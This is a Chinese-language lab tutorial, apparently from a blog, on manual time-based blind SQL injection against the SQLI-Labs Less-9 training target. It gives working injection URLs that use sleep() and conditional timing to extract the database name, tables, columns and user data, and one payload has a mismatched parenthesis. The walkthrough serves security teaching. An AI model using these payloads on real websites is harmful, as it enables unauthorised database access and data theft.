实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!

  • 【实验目的】
  • 【实验环境】
  • 【实验原理】
  • 【实验步骤】
    • 第一步 登录SQLI-Labs平台
    • 第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-9
    • 第三步 判断注入点与注入类型
    • 第四步 获取数据库名的长度
    • 第五步 探测数据库其他信息
  • 【思考与总结】

【实验目的】

通过本实验理解SQL时间盲注漏洞的定义方法,掌握基于SQL时间盲注的手工注入方法,熟悉SQL时间盲注存在的原因,掌握SQL时间盲注的防护方法。

【实验环境】

渗透主机:Kali平台

目标靶机:SQLI平台Less-9科目

【实验原理】

1.为什么使用延时注入

(1)部分网站没办法 union select 联合查询方式注入

(2)部分网站没有输出显示,只能通过延时判断;

2.时间盲注的SQL语句原理

(1)sleep(n)语句:使数据库在暂停n秒之后再将搜索结果输出;

(2)if((条件),m,n)语句:若条件为真,返回m;若条件为假,返回n;

3.时间盲注常用函数

length(database())语句:返回当前数据库名长度。

mid(database(),m,n):返回数据库名的第m位之后的n位。

【实验步骤】

第一步 登录SQLI-Labs平台

第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-9

在浏览器地址栏中输入http://【靶机IP】/Less-9/,访问SQLI-Labs的less-9。

第三步 判断注入点与注入类型

说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。

(1)http://【靶机IP】/Less-9/?id=1' and length(database())>0 %23或http://【靶机IP】/Less-9/?id=1' and length(database())>0 --+

页面正常,没有反应

(2)http://【靶机IP】/Less-9/?id=1' and length(database())<0 %23或http://【靶机IP】/Less-9/?id=1' and length(database())>0 --+

页面正常,没有反应

同样id=1’或id=1"的结果仍然与正常访问一致。

(2)采用sleep()函数进行测试

http://【靶机IP】/Less-9/?id=1' and sleep(10) %23或http://【靶机IP】/Less-9/?id=1' and sleep(10) --+

响应明显变缓慢,响应速度如下:

对比没有使用sleep()函数时的状态如下:

得出结论:存在时间盲注。

下面基于时间盲注进行数据库信息获取:

第四步 获取数据库名的长度

http://【靶机IP】/Less-9/?id=1' and if((length(database())=8),1,sleep(5)) --+

http://【靶机IP】/Less-9/?id=1' and if((length(database())=7),1,sleep(5))
--+

得出结论:数据库名长度为8。

第五步 探测数据库其他信息

(1)判断数据库名

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr(database(),1,1)=115,1,sleep(5)) --+

数据库名的第一个字母为s(ascii为115),判断成功直接返回,判断错误的话是暂停5秒。

(2)获取表

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) --+

然后

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+

email表的第一个字母为e(ascii为101),判断成功直接返回,判断错误的话是暂停5秒。

以此类推,我们可以得到所有的数据表:emails,referers,uagents,users

(3)获取列

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+

猜测users表的第一个列的第一个字符是i。

以此类推,我们得到列名是id,username,password

(4)获取列值

http://【靶机IP】/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5)) --+

猜测username的第一行的第一位为D。

按照这种思路依次来获取全部数据库信息。

【思考与总结】

通过本次实验,成功实现了利用SQL时间盲注漏洞获取了数据库的表单信息,掌握了SQL时间盲注漏洞的手工攻击方法,在此基础上可以深入理解对其的防护策略。

【Less-9】基于SQLI的SQL时间盲注相关推荐

  1. mysql基于时间盲注_MYSQL基于时间的盲注详解

    MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...

  2. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

  3. SQL注入学习——时间盲注详解 sqli-labs(Less 9)

    文章目录 前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...

  4. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  5. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  6. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  7. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  8. SQLi LABS Less 25a 联合注入+布尔盲注+时间盲注

    第25a关是数值型注入: 后台过滤了关键字(and.or),可以双写绕过: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. SQLi-LABS 其余关卡,可以参考我的专栏:SQLi-LABS ...

  9. SQLi LABS Less 10 时间盲注

    第十关是双引号字符型注入,推荐使用时间盲注. 一.功能分析 二.思路分析 三.解题步骤 方式一:时间盲注 第一步.判断注入条件 第二步.判断长度 第三步.枚举字符 脱库 一.功能分析 二.思路分析 页 ...

最新文章

  1. Python-常用字符串转换实例
  2. Java:使用synchronized和Lock对象获取对象锁
  3. mysql 比较大小 慢_MYSQL慢查询优化方法及优化原则
  4. <<蜂鸟计划>>观后感
  5. JavaScript基础总结
  6. 对github的初步认识以及对软件技术基础课程的期待
  7. spring boot (整合redis)
  8. 类查找android中跨项目的数据库操作ContentProvider的使用
  9. C语言及程序设计进阶例程-30 联合体及其应用
  10. 高中计算机网络技术专业的自我鉴定,计算机网络技术专业的自我鉴定(精选5篇)...
  11. as5300g2 nas软件功能_浪潮AS5300G2 5500G2存储2U12
  12. NBU备份软件实施过程的注意事项
  13. 禁用Win10驱动程序强制签名验证
  14. 再谈 Java 的继承和超类 Object
  15. AVX钽电解电容参数指标
  16. linux和windows下分别如何查看电脑是32位的还是64位?
  17. 芯片优缺点_“碳基芯片”的材料,将采用碳纳米管制成,或比传统芯片提升10倍...
  18. 基于Hadoop的电影推荐系统
  19. 计算机无法完成更新如何处理,Win10更新过程中碰到“无法完成更新”怎么办
  20. 制作淘宝界面的简易框架

热门文章

  1. 用JavaScript实现的十个图像特效
  2. Uncaught TypeError: Cannot read property ‘clientWidth‘ of null报错
  3. Windows Server 2008 R2 Tomcat 开机自启动
  4. python基本运算符
  5. BUAAOO电梯作业总结
  6. springboot 2.0 配置 logback
  7. document.write vs document.getElementById
  8. hive高级数据类型
  9. Confluence 6 用户目录图例 - 使用 LDAP 授权,在用户第一次登陆时拷贝用户
  10. 从Paxos到ZooKeeper-四、ZooKeeper技术内幕